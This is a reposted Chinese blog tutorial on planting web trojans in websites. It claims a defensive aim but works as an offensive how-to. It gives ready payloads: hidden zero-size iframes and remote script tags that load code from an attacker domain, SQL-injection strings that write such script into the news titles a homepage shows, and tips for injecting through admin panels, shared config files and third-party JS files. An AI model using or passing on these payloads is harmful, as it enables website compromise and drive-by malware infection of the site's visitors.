資訊來源:黑客基地
--------------------------------------------------------------------------
先說明一點,不是怎麼教大家挂馬,是讓你學會挂馬,怎麼防守,怎麼找馬,怎麼找關鍵字,怎麼讓你學會别人是通過什麼方法挂到你的網站上的..
有利就有弊,随便怎麼看吧。
這裡我拿挂首頁index.asp來舉例子。
先說一說,得到webshell的挂馬方法
上面可能是一般的挂馬方式,也是初學者的玩法,好了,再說深一點點的,那就是js檔案,好多網站上,你檢視源代碼都會調用js檔案,其中的語句為<script language=javascript src=./ad/ad.js></script>,想到了什麼,這裡也可以挂馬,其中我們可以遠端調用自己的js,比如:<script language=javascript src=http://www.fucksb.net/mm.js></script>這個mm.js就可以寫木馬了,怎麼寫呢,同樣,我們還用最基本的iframe架構,不過在<script></script>之中可識别語言不是html,那怎麼辦呢,follow me,js檔案可以這樣寫:document.write("<iframe <iframe src=http://www.fucksb.net/mm.htm width=0 height=0></iframe>");,這種形勢,這時就可以執行此js中的代碼了,當然了,說白了,其實全語句就是<script language=javascript>document.write("<iframe <iframe src=http://www.fucksb.net/mm.htm width=0 height=0></iframe>")</script>呵呵。。
聰明的你可能發現了一點,好像不止是js檔案哦~,隻要在<script></script>之中,無論什麼字尾的檔案,隻要裡面寫的語句可以被javascript識别就會執行,對的,比如<script src=http://www.fucksb.net/mm.test></script>,又如<script src=http://www.fucksb.net/mm.lala></script>管他的字尾是什麼,隻要裡面寫的語句正确就會被執行了。
同樣,如果首頁調用其它網站,或者次級目錄中的htm,asp等如:<iframe src=./ad/news.htm width=300 height=200></iframe>
也可以在news.htm檔案裡挂馬,可以是htm和js,随便哪種,這是比較隐蔽的玩法,這些适用于首頁沒有寫權限的方法。
<script>同<iframe>2個相比較,好處是script整體挂馬的代碼長度比iframe小得多,很實用。說實用是在資料庫方面,下面介紹。
資料庫挂馬,這裡我們拿mssql資料庫為例子。
這裡說的是首頁調用到的資料庫,比如新聞,論壇,公告,等等,一般是标題。這些需要經驗去檢測,舉個例子,比如首頁有一條新聞為:“明日開業”,那麼滑鼠點此新聞,位址欄打開的新視窗為news.asp?id=1,這種情況,這時,就可以判斷此新聞是從資料庫中調用的了,當然了,我們不說access,隻說mssql。
首頁,我們要有這個網站中的一個注入點,比如就點在vote.asp?id=123,同時,至少是Db_owner權限,這時如果要挂馬可以不用取到webshell,因為如果我們的目的隻在于挂馬的話,而且有時,還得檢測mssql資料庫和web伺服器不在同一個機器上,那挂馬的方式就是更改資料庫内容,這裡我說的就是這種,如上面說的,首頁顯示的一條新聞标題為“明日開業”,如果首頁顯示的标題是“明日開業</a><iframe src=http://www.fucksb.net/mm.htm width=0 height=0></iframe>”,那這樣的話,首頁就會執行這段代碼了,像這種情況,找到了注入點,就得找表名,如此新聞的表名為news,字段為title,id,等等,根據猜測,id=1時,暴出的字段title的值就為“明日開業”,那麼90%就可以猜到了,首頁調用的資料庫的字段就為news表中的title,這時在注入點,可以大膽送出vote.asp?id=123;update news set title='明日開業</a><iframe src=http://www.fucksb.net/mm.htm width=0 height=0></iframe>' where id=1;--,這樣就可以更改資料庫了,前提是最少要少db_owner權限,當然也有時由于代碼原因,也可以這樣送出:vote.asp?id=123';update news set title='明日開業</a><ifrmae src=http://www.fucksb.net/mm.htm width=0 height=0></iframe>' where id=1 and '1'='1,也可以...
這種方法是有問題的,實戰中存在不少問題,因為一般的情況下,标題都是通過<table>來限制寬度,也就是說如果你的标題的長度超過了指定的長度,那麼你的代碼隻能寫一半,這樣就不能執行了,是以挂馬最好的方法是用<script>這種方法來挂馬了,如:
vote.asp?id=123;update news set title='明日開業</a><script src=http://www.fucksb.net/mm.js></script>' where id=1;--長度有很大的減少,很不錯。
背景挂馬
通常注入等不到webshell,就隻能靠進背景挂馬。
這裡說的是進入了背景,但不能通過背景得到webshell,這時要仔細關察背景,像比較網站的連結、頂部底部的廣告、都可以直接寫入你的木馬代碼,等等,背景是靈活的,具體問題具體分析。不過有一點很重要,是不要打亂前台htm源檔案裡的代碼邏輯,比如應該閉合前面的<a><img>"( 等這些符号,應該先閉合掉如</a></img>")。
其它形式
如一首頁調用了<iframe src="http://blog.77169.com/vote.asp?id=1&";no=view width=100></iframe>此種形勢,一樣可以在vote.asp中直接寫入iframe木馬代碼,如果調用的是<script src="http://blog.77169.com/vote.asp?id=1&";no=view width=100></script>在vote.asp寫代碼時,請用document.write("")這種格式寫入,當然,如果被挂檔案中還有調用的檔案可以繼續往深處寫,如果你夠狠的話,直接寫到資料庫配置檔案中,如conn.asp,這樣好多頁面可以同時挂上你的一種木馬了。
當然這裡也有js檔案,一樣原理。
挂一個網站的馬,不一定就得攻入他,有時沒有方法的同時,可以考慮跨站。好多站用了别的站的js檔案,如:<script src=http://www.163.com/user.js>這種情勢,這時就可以考慮隻拿163.com的權限就行了,隻要能修改到user.js檔案就可以挂到你要挂的站點了,同理,也有<iframe src=http://www.163.com/user.htm>此種情況,一樣道理,劍走偏鋒,達到目的,無論用什麼招數了。
伺服器挂馬
這裡簡單說一個比較狠的吧.
重定向任何調用的htm,js,等檔案.
本文轉自loveme2351CTO部落格,原文連結: http://blog.51cto.com/loveme23/8534,如需轉載請自行聯系原作者